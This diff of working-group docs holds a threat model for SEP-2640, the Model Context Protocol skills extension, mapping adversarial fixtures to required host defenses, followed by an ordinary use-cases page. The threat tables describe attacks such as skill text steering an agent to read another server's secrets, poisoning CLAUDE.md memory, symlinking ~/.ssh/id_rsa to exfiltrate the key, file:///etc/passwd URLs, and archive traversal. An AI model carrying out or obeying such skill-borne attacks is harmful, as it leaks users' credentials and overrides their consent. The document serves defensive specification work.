| `auto-format` | Frontmatter `PostToolUse` hooks fire shell commands on every Edit/Write/Bash, with no model consent. | gate |
|
||||
| `dep-install` | Local npm package with a `postinstall` script runs arbitrary Node on `npm install`. | gate |
|
||||
| `pr-summary` / `system-health` / `container-audit` | Pre-prompt `` !`command` `` expansions run bundled scripts at template-expansion time, invisible to the model. | gate |
|
||||
|
||||
These corpus skills target the *runtime* rather than the delivery layer, but the SEP's mitigation is a delivery-layer host obligation: the approval gate applies to code-execution tool calls issued *while the model is acting on an MCP-served skill*, and declarative execution fields MUST be ignored or approval-gated regardless of what the skill claims. Per SEP-2640's *Nested skill consent* rule, this approval is per-skill and does not extend to skills nested inside an approved one — see T9.
|
||||
|
||||
### T3 — Permission widening
|
||||
|
||||
A filesystem-sourced skill can use the Agent Skills `allowed-tools` field to declare the tools available while it runs. A *remote* skill populating that field is not describing its own environment — it is requesting elevated access on the host. SEP-2640 mitigation (*No implicit permission grants*): `allowed-tools` (and any field that widens tool or filesystem permissions) MUST be ignored for MCP-origin skills unless the user has explicitly approved that grant for that specific skill. Approval of a skill never extends to the frontmatter of any other `SKILL.md` within its file space: a nested skill's `allowed-tools` has no effect unless that nested skill is itself activated under its own approval (see T9).
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `adv-allowed-tools-grant` | MCP-origin skill declares `allowed-tools: [Bash, Write]` in frontmatter to self-widen host access. | gate | Yes — §Security Implications |
|
||||
|
||||
### T4 — Integrity and verification
|
||||
|
||||
The listing is authored by the same origin as the content, so its promises are only as good as the host's re-verification. SEP-2640 gives the host a per-file digest set (`resources`) covering the whole skill; attacks here exploit hosts that trust the listing without re-checking, that read files the set never listed, or that act on a skill served without `resources` at all.
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `adv-frontmatter-mismatch` | Listing `frontmatter` diverges field-by-field from the served `SKILL.md`. | gate | Yes — §Integrity requires field-by-field re-parse |
|
||||
| `adv-content-rotation` | Same URI returns different `SKILL.md` bytes + digest on the 2nd read (TOCTOU). | reject | Yes — §Integrity (reject mismatch) + §Content-bound approval |
|
||||
| `adv-supporting-file-digest-swap` | A supporting file (`scripts/helper.sh`) is served without a matching `resources` digest — either omitted from the set or served under a URI the set never listed. | gate | Yes — §Resources completeness + §Integrity (unlisted read = verification failure) |
|
||||
|
||||
SEP-2640 now requires the skill entry's `resources` array to enumerate **every** file of the skill as a `{uri, digest}` pair, requires a host to verify each retrieved file against that digest, and requires a host, while acting on a skill for which it holds an entry, to resolve reads only to URIs listed in that entry's `resources` and to treat a read of any unlisted file as a verification failure equivalent to a digest mismatch. It also re-parses a fetched `SKILL.md`'s frontmatter field-by-field against the entry and treats any discrepancy as a verification failure. Persisted per-skill approval binds to the entry's whole `resources` set (every `uri` and `digest`), so a later entry advertising a different set (a file rotated, added, or removed) revokes the approval and re-prompts.
|
||||
|
||||
This closes what an earlier SEP draft left open as the **B1 gap** ("digest covers `SKILL.md` only"): supporting files are now first-class members of the pinned set. The one residual integrity limitation is a skill that omits `resources` entirely, permitted only for dynamically generated skills that cannot publish stable digests. Such a skill offers no content integrity and cannot be content-bound, and hosts MAY decline to load it (see *Residual gaps and future directions*). Even so, **a digest match is still not a security boundary** (adversary #2): it defends against transport tampering, not against the origin rotating or misrepresenting its own content.
|
||||
|
||||
### T5 — Cross-origin confused deputy
|
||||
|
||||
A model-callable resource-read surface (the `read_resource` pattern in SEP-2640's host-integration sketch) becomes a confused-deputy vector when driven by untrusted skill content, in two ways: a skill from server A talks the model into reading from server B (or the local filesystem via a `file:` URL); or a directory listing (`resources/directory/read`) returns child URIs that point *outside* the skill's subtree, which the model then follows. SEP-2640 mitigation (*Origin-scoped resource reads* + *Resources*): reads MUST be bound to the skill's originating server; a skill served by A MUST NOT cause a `resources/read` against B; each `resources` URI MUST be the skill's `SKILL.md` or a file within the skill's directory; hosts MUST identify servers by a host-assigned label, not self-reported `serverInfo.name`; any cross-origin read MUST be gated behind explicit per-call approval naming both servers.
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `adv-cross-server-read` | `SKILL.md` body induces `resources/read` of a different server origin (`skill://other-server.example/exfil/secrets.md`). | re-prompt | Yes — §Security requires origin-scoped reads |
|
||||
| `adv-file-url` (triple-slash) | Listing advertises an artifact `url` of `file:///etc/.../passwd`. | reject | No — not addressed (PR #831 follow-up) |
|
||||
| `adv-file-url` (no-authority) | `file:/etc/.../passwd` — the RFC 8089 no-authority form that slips past a `startswith("file://")` check. | reject | No — not addressed (PR #831 follow-up) |
|
||||
| *directory-walk escape* | `resources/directory/read` on a skill directory returns a child `Resource` whose URI resolves outside the skill's subtree or into another origin. | reject | Proposed — SEP bounds it (`resources` URIs must be in-subtree; unlisted reads fail), **no corpus fixture yet** |
|
||||
|
||||
The directory-walk case is the reviewer question behind this revision. `resources/directory/read` returns child *metadata* (URIs), not content, so it cannot itself escape. The risk is a host that walks and then *fetches* those URIs blindly, which can be steered out of the subtree. The SEP's completeness rule is the defense: a child URI outside the skill's directory is not in the entry's `resources`, so a read of it is a verification failure. A host MUST reject (not merely gate) any enumerated child that resolves outside the skill's subtree or into a different origin, and MUST NOT treat a directory listing as authorization to read a URI the `resources` set does not contain.
|
||||
|
||||
The `file:` variants carry a specific lesson: **match on the URL scheme, not a string prefix.** `file:/etc/passwd` and `file:etc/passwd` still read the local filesystem yet defeat a `"file://"`-prefix guard.
|
||||
|
||||
### T6 — Resource-fetch resource exhaustion
|
||||
|
||||
Size limits that live only in a (now-deferred) archive extractor leave the individual-file fetch path unbounded. A host that reads, base64-decodes, and hashes a resource before checking its size can be memory-exhausted at install time; a per-server budget enforced only over archives ignores the arguably-more-open per-file fetch and directory-walk paths.
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| `adv-oversized-payload` | `SKILL.md` resource is ~16 MiB (honest digest) — over any sane raw cap. | reject | No — SEP does not yet bound resource-fetch size (PR #831) |
|
||||
| `adv-walk-budget` | ~27 MiB of supporting files dragged in via the directory walk, on a server already near its per-server budget. | reject | No — no SEP per-server fetch budget yet (PR #831) |
|
||||
| *enumeration exhaustion* | `skills/list` (or `resources/directory/read`) returns an unbounded stream of pages via an endless `nextCursor`, exhausting the host at discovery time — before any file is fetched. | reject | Proposed — pagination is SEP-defined but unbounded; **no corpus fixture yet** |
|
||||
|
||||
A host MUST bound the raw size of a fetched resource *before* fully reading/decoding it (honoring the advertised `Resource.size` and capping the read regardless), and MUST apply a cumulative per-server budget to walk-fetched supporting files, not only to any archive path. Because the SEP removed archives (see Appendix A), the only remaining path for the file-size attacks is per-file fetch and directory-walk, which puts the correct place for the bound at the fetch layer rather than an extractor layer. The exhaustion surface also starts *before* any file is read: `skills/list` and `resources/directory/read` are both cursor-paginated (`nextCursor`), and SEP-2640 bounds neither the page count nor the total entry count. A host MUST cap the number of pages (or total entries) it will follow from a single server's enumeration, and treat a listing that refuses to terminate as it would any other resource-exhaustion attack. The `ttlMs`/`cacheScope` freshness hints the SEP added to `skills/list` are caching signals, not a bound.
|
||||
|
||||
### T7 — Cache isolation and durable origin
|
||||
|
||||
Skills that persist across sessions or exfiltrate via a bundled file test whether "installed locally" was mistaken for "trusted." SEP-2640 mitigation (*Cache isolation and durable origin*): cached/unpacked MCP-served content MUST live in a location excluded from every filesystem-skill discovery path, MUST keep counting as MCP-origin for the no-implicit-execution rule (including after restart and after disconnect), and SHOULD be removed when the user removes the server.
|
||||
|
||||
| Corpus skill | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `memory-poison` | Setup poisons `~/.claude/CLAUDE.md` / `~/.agents/AGENTS.md` for cross-session persistence that survives skill removal. | gate |
|
||||
| `ssh-helper` | A bundled `examples/id_rsa.example` is a symlink to `~/.ssh/id_rsa`; "reading the example format" exfiltrates the real key. | reject |
|
||||
|
||||
### T8 — Cross-origin name-collision impersonation
|
||||
|
||||
Skill `name` is a label rather than an identifier (a skill is identified by its `uri`), and names are not unique across origins. A malicious server can publish a skill under the name of a popular one (another server's, or the user's own local filesystem skill), counting on the host to resolve its way and let untrusted instructions ride in under a trusted name. SEP-2640 mitigation (*Name collisions are an impersonation surface*): hosts MUST resolve skill names within a per-origin namespace, identifying servers by a host-assigned label (not self-reported `serverInfo.name`); MUST NOT let an MCP-served skill silently shadow, replace, or intercept invocations of a same-named skill from any other origin, including the host's filesystem skills; and SHOULD surface collisions to the user. A name binds only to whatever bytes its origin currently serves, carrying no authorship or endorsement.
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| *cross-origin name shadow* | Server B publishes a skill named `code-review`, colliding with the user's trusted filesystem `code-review` or server A's; host resolves to B without disambiguating. | re-prompt | Proposed — SEP requires per-origin namespacing, **no corpus fixture yet** |
|
||||
|
||||
This is the enterprise-facing concern raised in review ("should we protect other servers' skills?"): the protected asset is *origin integrity of the skill namespace*, and the impersonation is defeated by keying every registry entry on origin + name together and never letting a bare name resolve across origins. (Confidentiality of the names/descriptions themselves, the org-process-leak half of the same review comment, is a host-deployment concern, out of scope per *Scope*.)
|
||||
|
||||
### T9 — Nested-skill consent
|
||||
|
||||
A skill directory MAY contain further skills in descendant directories. From the enclosing skill's perspective those are ordinary supporting files, and their `SKILL.md` frontmatter (including any `allowed-tools` or execution fields) MUST NOT be acted on merely because the enclosing skill was approved. Silently promoting a nested `SKILL.md` to an active skill would let a server ride new instructions and permission requests in on a prior approval. SEP-2640 mitigation (*Nested skill consent*): approval is per skill; activating a nested `SKILL.md` requires fresh, explicit user consent, and a nested skill's frontmatter has no effect until that nested skill is itself activated under its own approval.
|
||||
|
||||
| Fixture | Mechanism | Action | Status |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| *nested activation ride-in* | Enclosing skill (approved) bundles a nested `SKILL.md` whose frontmatter declares hooks / `allowed-tools`; host acts on it without a fresh prompt. | gate | Proposed — SEP requires per-skill consent, **no corpus fixture yet** |
|
||||
|
||||
## Consolidated fixture mapping
|
||||
|
||||
Every adversarial fixture in [`dangerous-skills-mcp/src/adversarial/catalog.ts`](https://github.com/olaservo/dangerous-skills-mcp/blob/main/src/adversarial/catalog.ts), with its threat category, the SEP-2640 clause it exercises, the required host action, and whether that requirement is in the current SEP. Archive fixtures (Appendix A) are marked **[A]** — archives are now a *deferred feature* in SEP-2640, so these exercise a form the baseline no longer includes. **Note on the `In SEP?` column:** the corpus's per-fixture reviewer tags (`catalog.ts`) were written against an earlier draft and label most items "Den-proposed; not yet in the SEP." The SEP revision this document tracks has since folded per-file `resources` digests (closing the B1 supporting-file gap), field-by-field re-verification, `allowed-tools` gating, content-bound approval, origin-scoped reads, and name-collision namespacing into normative MUSTs, so several fixtures the catalog still marks "proposed" are in fact required today. This column reflects the current SEP text, not the catalog tags.
|
||||
|
||||
| Fixture key | Category | SEP-2640 clause | Action | In SEP? |
|
||||
| :--- | :--- | :--- | :--- | :--- |
|
||||
| `adv-frontmatter-mismatch` | T4 Integrity | listing frontmatter identity | gate | Yes — §Integrity |
|
||||
| `adv-supporting-file-digest-swap` | T4 Integrity | `resources` completeness; unlisted read = failure | gate | Yes — §Resources + §Integrity |
|
||||
| `adv-content-rotation` | T4 Integrity | re-verify + content-bound approval | reject | Yes — §Integrity + §Content-bound approval |
|
||||
| `adv-allowed-tools-grant` | T3 Permission widening | ignore `allowed-tools` for MCP-origin | gate | Yes — §No implicit permission grants |
|
||||
| `adv-cross-server-read` | T5 Confused deputy | origin-scoped reads | re-prompt | Yes — §Origin-scoped resource reads |
|
||||
| `adv-file-url` (×2) | T5 Confused deputy | scheme-match; reject `file:` | reject | No — PR #831 |
|
||||
| *directory-walk escape* | T5 Confused deputy | `resources` URIs in-subtree; unlisted read = failure | reject | Proposed — no corpus fixture yet |
|
||||
| `adv-oversized-payload` | T6 Exhaustion | size cap before decode (fetch layer) | reject | No — PR #831 |
|
||||
| `adv-walk-budget` | T6 Exhaustion | per-server budget on walk | reject | No — PR #831 |
|
||||
| *enumeration exhaustion* | T6 Exhaustion | bound `skills/list` / directory-read pagination | reject | Proposed — no corpus fixture yet |
|
||||
| *cross-origin name shadow* | T8 Impersonation | per-origin name namespacing | re-prompt | Proposed — no corpus fixture yet |
|
||||
| *nested activation ride-in* | T9 Nested consent | per-skill approval for nested skills | gate | Proposed — no corpus fixture yet |
|
||||
| `adv-archive-traversal` **[A]** | Archive traversal | Deferred (was: unpack MUSTs) | reject | Deferred — §Appendix: Deferred Features |
|
||||
| `adv-zip-traversal` **[A]** | Archive traversal | Deferred | reject | Deferred |
|
||||
| `adv-archive-windows-paths` **[A]** | Archive traversal | Deferred | reject | Deferred |
|
||||
| `adv-archive-symlink-escape` **[A]** | Archive link escape | Deferred | reject | Deferred |
|
||||
| `adv-zip-symlink-escape` **[A]** | Archive link escape | Deferred | reject | Deferred |
|
||||
| `adv-archive-hardlink-escape` **[A]** | Archive link escape | Deferred | reject | Deferred |
|
||||
| `adv-decompression-bomb` **[A]** | Archive exhaustion | Deferred | reject | Deferred |
|
||||
| `adv-cumulative-budget` (×5) **[A]** | Archive exhaustion | Deferred (per-server budget survives, T6) | reject | Deferred |
|
||||
| `adv-archive-setuid` **[A]** | Archive privilege | Deferred | sanitize | Deferred |
|
||||
| `adv-archive-non-regular` **[A]** | Archive file type | Deferred | reject | Deferred |
|
||||
| `adv-archive-normalization-collision` **[A]** | Archive collision | Deferred (lesson survives, see Appendix A) | reject | Deferred |
|
||||
| `adv-live-read-divergence` **[A]** | Integrity | serve from verified copy, not live read | gate | Yes — §Integrity (baseline, not archive-specific) |
|
||||
| `refunds` (×2) **[A]** | Addressing | resolved: skills keyed by `uri`, not `name` | reject | Resolved — §Names (URI is the identifier) |
|
||||
|
||||
## Appendix A — Archive threat model (deferred feature, retained for reference)
|
||||
|
||||
> **Note:** Archive distribution was **removed** from SEP-2640 and now lives in the SEP's [Appendix: Deferred Features](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640). It is not part of the extension. The Core Maintainers removed it because "unpacking is an attack surface disproportionate to the benefit," which is the checklist below. This appendix is retained for reference and for any future proposal to reintroduce archives, which the SEP says would have to unpack to exactly the file set enumerated in the entry's `resources`. The baseline `install` and `load-on-demand` models above do not involve archives.
|
||||
|
||||
Archives delivered a multi-file skill atomically and could carry UNIX metadata (executable bits, symlinks) that individually served files cannot represent, which is what made them an unpacking attack surface. A host unpacking an archive would have had to reject path-traversal and absolute paths, reject links resolving outside the skill directory, extract only regular files/directories/in-dir links (rejecting device nodes and other special-file types), reject case/normalization collisions, clear setuid/setgid/sticky bits and extract as the host's own uid/gid, and enforce per-archive **and** cumulative per-server limits on unpacked size, entry count, and path depth.
|
||||
|
||||
The archive fixtures, grouped by failure mode:
|
||||
|
||||
**Path traversal (Zip-Slip).** Entry paths that escape the destination directory.
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-archive-traversal` | `tar.gz` with `../../evil.txt` and an absolute-path entry. | reject |
|
||||
| `adv-zip-traversal` | ZIP with `../../evil.txt` + absolute entry — exercises the separate ZIP code path. | reject |
|
||||
| `adv-archive-windows-paths` | Backslash, drive-absolute (`C:\`), and UNC (`\\host\share`) entry names — a POSIX-only `/`-split validator misses these. | reject |
|
||||
|
||||
**Link escape.** Links whose resolved target leaves the skill directory.
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-archive-symlink-escape` | tar symlink `id_rsa.example` → `../../../etc/passwd`. | reject |
|
||||
| `adv-zip-symlink-escape` | ZIP symlink via `S_IFLNK` in central-directory external attributes. | reject |
|
||||
| `adv-archive-hardlink-escape` | tar hard-link (typeflag 1) `creds.example` → `../../../etc/passwd`. | reject |
|
||||
|
||||
**Resource exhaustion.** Small-on-the-wire, large-on-disk. (The cumulative per-server budget survives archive removal — see T6, which applies it to the per-file fetch and directory-walk paths.)
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-decompression-bomb` | Few-KB `tar.gz` expanding to ~128 MiB in a single entry. | reject |
|
||||
| `adv-cumulative-budget` (×5) | Five ~45 MiB archives from one server (~225 MiB aggregate) each under a per-archive cap but over a 200 MiB per-server budget. | reject |
|
||||
|
||||
**Special files and privilege.** Entry types and mode bits that should never survive extraction.
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-archive-non-regular` | FIFO entry (`pipe.fifo`, typeflag 6) — device nodes/FIFOs MUST NOT be materialized. | reject |
|
||||
| `adv-archive-setuid` | `tools/escalate` with mode `04755` — host MUST clear the setuid bit and extract as its own uid/gid. | sanitize |
|
||||
|
||||
**Normalization collision.** Two names that map to one path on a case-insensitive or normalizing filesystem.
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-archive-normalization-collision` | Ships `SKILL.md` **and** `Skill.md`; on APFS/NTFS the second silently overwrites the digest-verified `SKILL.md`. Host MUST normalize + case-fold before its duplicate check. | reject |
|
||||
|
||||
Although this fixture is archive-specific, **the collision lesson survives archive removal**: it is one of the reasons the Core Maintainers cited for removing archives. Any host that materializes a multi-file skill to a case-insensitive or Unicode-normalizing filesystem (including the `install` path and any directory walk) can still have two distinct `resources` URIs (`SKILL.md` and `Skill.md`, or NFC/NFD variants) collapse to one on-disk path, letting one silently overwrite the digest-verified other. A host writing a verified `resources` set to disk MUST normalize + case-fold before its duplicate check and reject a set whose URIs collide under the target filesystem's rules, exactly as the archive extractor would have. This generalization is not yet a distinct baseline fixture; the archive fixture stands in for it.
|
||||
|
||||
**Caching integrity.** Once content is digest-verified, its cached copy is the only integrity-checked view of the skill's files. (This is a baseline rule, not archive-specific — it is the same principle that makes `install` safer than `load-on-demand`.)
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `adv-live-read-divergence` | A cached copy of `scripts/helper.sh` is digest-verified, but a live `resources/read` of the same path returns different bytes. Host MUST serve every read of the skill's files from the verified copy, never from a fresh live read. | gate |
|
||||
|
||||
**Addressing collision (resolved).** Not an unpack-safety bug but a keying bug the SEP has since fixed.
|
||||
|
||||
| Fixture | Mechanism | Action |
|
||||
| :--- | :--- | :--- |
|
||||
| `refunds` (×2) | Two archive-only skills at `skill://acme/billing/refunds` and `skill://acme/support/refunds`, both `frontmatter.name: refunds`. An earlier draft keyed archive-only skills by `frontmatter.name`, so both collapsed and collided. The current SEP resolves this: a skill is identified by its `uri`, not its `name`, and names are explicitly not identifiers (§Names). | reject |
|
||||
|
||||
## Residual gaps and future directions
|
||||
|
||||
Threats the current SEP revision does **not** fully close, and directions raised in review:
|
||||
|
||||
- **Unsigned digests are not a trust anchor.** A `resources` digest proves the listing and the content agree; it cannot prove the content was trustworthy when approved, and a rewriting intermediary (adversary #2) stays consistent across both. SEP-2640 already carves out a home for a fix: an intermediary MAY attach *provenance or verification annotations* via `_meta` under its own reverse-domain prefix (not the reserved `io.modelcontextprotocol.skills/` prefix), though the extension assigns them no semantics. A natural direction, raised in review, is an **independent third party signing over the content hash**: an attestation such as `{digest-set, verdict, timestamp, verifier, scanner/policy version}` that turns the digest into a real trust anchor, because the signature is over the content and a rewriting intermediary cannot forge a match. For skills specifically this should bind to the *whole* `resources` set (not just `SKILL.md`), expect many verdicts per digest over time (hence the timestamp and scanner-version fields), and be addressed by content and looked up rather than embedded in the listing entry. This is out of scope for SEP-2640 as written and would ride the existing JWS/Sigstore attestation work rather than a parallel mechanism.
|
||||
- **Skills without `resources` have no integrity.** Dynamically generated skills MAY omit `resources`; such a skill cannot be content-bound and a host MAY decline it. Hosts that choose to load them are trusting unverifiable bytes for the session.
|
||||
- **`file:` and non-`skill://` artifact URLs** (`adv-file-url`) are not yet addressed in the SEP; tracked as a PR #831 follow-up. Match on scheme, not string prefix.
|
||||
- **Fetch-layer size and per-server budget** (`adv-oversized-payload`, `adv-walk-budget`) are not yet SEP-mandated for the per-file fetch and directory-walk paths; also PR #831.
|
||||
- **Enumeration pagination is unbounded.** `skills/list` and `resources/directory/read` are cursor-paginated but the SEP caps neither page nor entry count, so a host must impose its own limit (T6). Not yet SEP-mandated.
|
||||
- **No corpus fixture yet** exercises cross-origin name-collision impersonation (T8), directory-walk subtree escape (T5), nested-skill consent (T9), or enumeration exhaustion (T6). These are proposed corpus additions; the SEP mandates (or, for pagination, leaves open) the host behavior, but the runnable oracle does not exist yet.
|
||||
|
||||
## References
|
||||
|
||||
- [SEP-2640: Skills Extension](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2640) — the specification this document models. Canonical text on the `sep/skills-extension` branch. The older working draft [`docs/sep-draft-skills-extension.md`](sep-draft-skills-extension.md) predates the `skills/list`/`skills/get` + `resources`-array revision and the archive removal.
|
||||
- [`dangerous-skills-mcp`](https://github.com/olaservo/dangerous-skills-mcp) — the executable adversarial corpus (fixtures, oracles, smoke client). Live: `https://olaservo-dangerous-skills-mcp.hf.space/mcp`. Forked from [`gricha/dangerous-skills`](https://github.com/gricha/dangerous-skills).
|
||||
- [Agent Skills Discovery RFC](https://github.com/cloudflare/agent-skills-discovery-rfc) (Cloudflare) — SHA-256 content integrity and per-file digests; the closest external analog for the integrity model.
|
||||
- [Open Questions §10](open-questions.md#10-how-should-skills-handle-security-and-trust-boundaries) — the WG's trust-boundary discussion and community input.
|
||||
- [Decision Log](../decisions.md) — instructor-format scoping, filesystem-as-host-detail, the `resources/directory/read` method, and the digest/archive decisions.
|
||||
- [Skill `_meta` Keys](skill-meta-keys.md) — `_meta` key conventions for skill resources, including the reserved `io.modelcontextprotocol.skills/` prefix.
|
||||
- [RFC 8089: The "file" URI Scheme](https://datatracker.ietf.org/doc/html/rfc8089) — the no-authority `file:` forms behind `adv-file-url`.
|
||||
132
docs/archive/use-cases.md
Normal file
132
docs/archive/use-cases.md
Normal file
|
|
@ -0,0 +1,132 @@
|
|||
# Use Cases
|
||||
|
||||
## 1. Complex Workflow Orchestration
|
||||
|
||||
Skills that teach agents how to perform multi-step workflows that they wouldn't know how to execute from tool descriptions alone.
|
||||
|
||||
**Example:** Bob Dickinson's [mcpGraph](https://github.com/TeamSparkAI/mcpGraph) toolkit requires a [skill file of 875+ lines](https://github.com/TeamSparkAI/mcpGraph/blob/main/skills/mcpgraphtoolkit/SKILL.md) to instruct agents on building directed graphs of MCP nodes. This orchestration logic is "way more than you'd want to put in instructions."
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Skills may define how to use tools, possibly from different servers, to accomplish complex workflows requiring contextual reasoning that could not be coded with MCP tools." — [Daniele Martinoli](https://github.com/dmartinol)
|
||||
|
||||
## 2. Conditional Workflows
|
||||
|
||||
Workflows that reference tools conditionally based on context, requiring rich structured instructions that can be dynamically loaded.
|
||||
|
||||
**Example:** A skill that guides an agent through different branches of a debugging workflow depending on the type of error encountered, loading relevant sub-instructions only when needed.
|
||||
|
||||
## 3. Multi-Server Composition
|
||||
|
||||
Skills that leverage tools from multiple off-the-shelf servers where you can't (or don't want to) modify their individual instructions. Skills can also make it more natural to translate ad-hoc tool-call-based workflows into scripted workflows, without fundamentally changing the content of the skill.
|
||||
|
||||
**Related:** [agentskills/agentskills#110](https://github.com/agentskills/agentskills/issues/110) — Skill dependency declaration
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "I think there might also be a subtle difference between the kind of skill that allows you to orchestrate a set of tools, possibly from different servers, to do something the agent wouldn't have necessarily known how to do without the skill (more of a skill registry issue), and the 'you're pretty much going to need this skill to make use of this server at all' (an MCP server registry issue, maybe)." — [Bob Dickinson](https://github.com/TeamSparkAI)
|
||||
|
||||
> "The ecosystem has been too focused on the server being the main deliverable in some ways, and actually there's a lot that can be done in terms of composition that we miss by people generally imagining their code as being the server boundary and not providing functionality more as a library." — [Sam Morrow](https://github.com/SamMorrowDrums)
|
||||
|
||||
Beyond multi-server tool orchestration, skills themselves may be composable — one skill depending on another skill's output or behavior. This extends the dependency model beyond tool availability to skill availability, and raises questions about declarative dependency metadata. See [Open Question 4](open-questions.md#4-how-should-skills-relate-to-multiple-servers) for the emerging proposal on host-mediated dependency resolution.
|
||||
|
||||
**See also:** [#39](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/39) — Skill dependency declaration, [#45](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/45) — Worked examples for multi-server composition
|
||||
|
||||
## 4. Progressive Disclosure
|
||||
|
||||
Skills broken into linked sets of files for effective context management, loaded progressively as the agent needs them rather than all at once.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Especially mimicking progressive disclosure via resources and dynamically adding new ones as the agent reads pieces of the skill has been quite handy!" — [Ozz / Juan Antonio Osorio](https://github.com/JAORMX)
|
||||
|
||||
**Practical limitation:** In non-visual execution environments (CLI agents, headless), skills lack the "collapse" mechanism of UI-based progressive disclosure. Without a UI affordance to hide/show content, all disclosed context remains in the model's context window, contributing to the adherence decay problem (see [Skill Reliability and Adherence](experimental-findings.md#skill-reliability-and-adherence)). Tool-based expansion partially addresses this, since pruning a tool call also collapses the context, but this is not a general solution.
|
||||
|
||||
**At scale:** A server may expose hundreds or thousands of skills, but a client may only need a handful. This reinforces the need for selective loading via progressive disclosure rather than loading all skill content at once.
|
||||
|
||||
> "A server can contain 100s or 1000s of skills as an extreme but a client might only need handful of them." — [Kaxil Naik](https://github.com/kaxil) (Astronomer), via Discord
|
||||
|
||||
**Related:** [Anthropic's guidance on progressive disclosure](https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills)
|
||||
|
||||
**See also:** [#45](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/45) — Worked examples for progressive disclosure, [#40](https://github.com/modelcontextprotocol/experimental-ext-skills/issues/40) — Client-side reference implementation for model-driven resource loading
|
||||
|
||||
## 5. Server-Skill Pairing
|
||||
|
||||
Servers that are difficult or impossible to use effectively without an accompanying skill.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "Clients of the registry presumably understand MCP, but there is no guarantee that they understand skills. So if it is going to be hard for an agent to use the server without the 'skill' then doesn't it make sense for the MCP server to contain all the instructions necessary to use it?" — [Cliff Hall](https://github.com/cliffhall)
|
||||
|
||||
**Example:** [chrome-devtools-mcp](https://github.com/ChromeDevTools/chrome-devtools-mcp) ships with a skills/ folder that requires a separate install path from the MCP server itself.
|
||||
|
||||
## 6. Skill Versioning and Updates
|
||||
|
||||
Skills that evolve over time and need version-aware distribution.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "I'd like for skills over MCP to enable the client to make use of the version attribute... If a skill stored locally has an older version than the skill seen on the MCP server, the client can download the latest skill on the spot." — [woweow](https://github.com/woweow)
|
||||
|
||||
## 7. Enterprise Integration
|
||||
|
||||
Organizations building official MCP servers for established platforms are looking to skills as a distribution mechanism for domain-specific workflow guidance.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "As part of Apache Airflow community, we are planning to build our official MCP Server... and I am specifically interested in integrating Skills as part of the MCP protocol." — [Kaxil Naik](https://github.com/kaxil)
|
||||
|
||||
**Related:** [Apache Airflow AIP-91 (MCP integration)](https://cwiki.apache.org/confluence/display/AIRFLOW/AIP-91+-+MCP)
|
||||
|
||||
## 8. Version-Adaptive Skill Content
|
||||
|
||||
Skills whose instructions and examples dynamically adapt based on the platform or framework version in use, rather than versioning the skill artifact itself.
|
||||
|
||||
**Example:** Apache Airflow 2.x and 3.x have substantially different APIs, operators, and recommended patterns. A version-adaptive skill detects which Airflow version is running and returns only the relevant guidance — e.g., `TaskFlow` decorators in 2.x vs. updated `Asset`-based patterns in 3.x — so the agent never suggests deprecated or unavailable APIs.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "As a SaaS company (Astronomer) building on Airflow, we need skills that adapt their content based on the Airflow version the customer is running. A skill that returns Airflow 2.x guidance to an Airflow 3.x user is worse than no skill at all. While skill reference files are valuable, a single version-aware skill that delivers tailored guidance is far more useful than hundreds of reference files where Airflow 2 and 3 diverge — best practices, recommended operators, and even DAG authoring patterns look fundamentally different between the two." — [Kaxil Naik](https://github.com/kaxil)
|
||||
|
||||
## 9. Commercial Multi-Tenant Skills
|
||||
|
||||
SaaS companies serving per-user skill content that varies by subscription tier, role, or tenant — with auditing, logging, and RBAC governing what each user can access.
|
||||
|
||||
**Example:** A SaaS platform exposes the same MCP server endpoint to all customers, but a free-tier user receives basic workflow guidance while an enterprise user gets advanced optimization skills, custom operator libraries, and tenant-specific configuration — all controlled through RBAC policies and audit-logged per request.
|
||||
|
||||
**Community input:**
|
||||
|
||||
> "At Astronomer we need to serve different skill content to different customers based on their subscription tier and role, with full audit logging. This goes beyond enterprise adoption — it's about multi-tenant commercial delivery of skills with fine-grained access control." — [Kaxil Naik](https://github.com/kaxil)
|
||||
|
||||
## 10. Documentation as MCP Server
|
||||
|
||||
MCP servers whose primary function is serving documentation through a small set of tools — typically a search tool (with a local or remote index) and a fetch tool (returning specific markdown pages). This pattern applies progressive disclosure to documentation: the model receives a list of available topics and selectively loads content as needed.
|
||||
|
||||
**Examples:**
|
||||
|
||||
- [Strands Agents MCP server](https://github.com/strands-agents/mcp-server/) uses a local TF-IDF index for search and on-demand fetching of individual doc pages
|
||||
- [AWS Knowledge MCP server](https://awslabs.github.io/mcp/servers/aws-knowledge-mcp-server) is a fully managed remote MCP server that indexes AWS documentation, code samples, and regional availability
|
||||
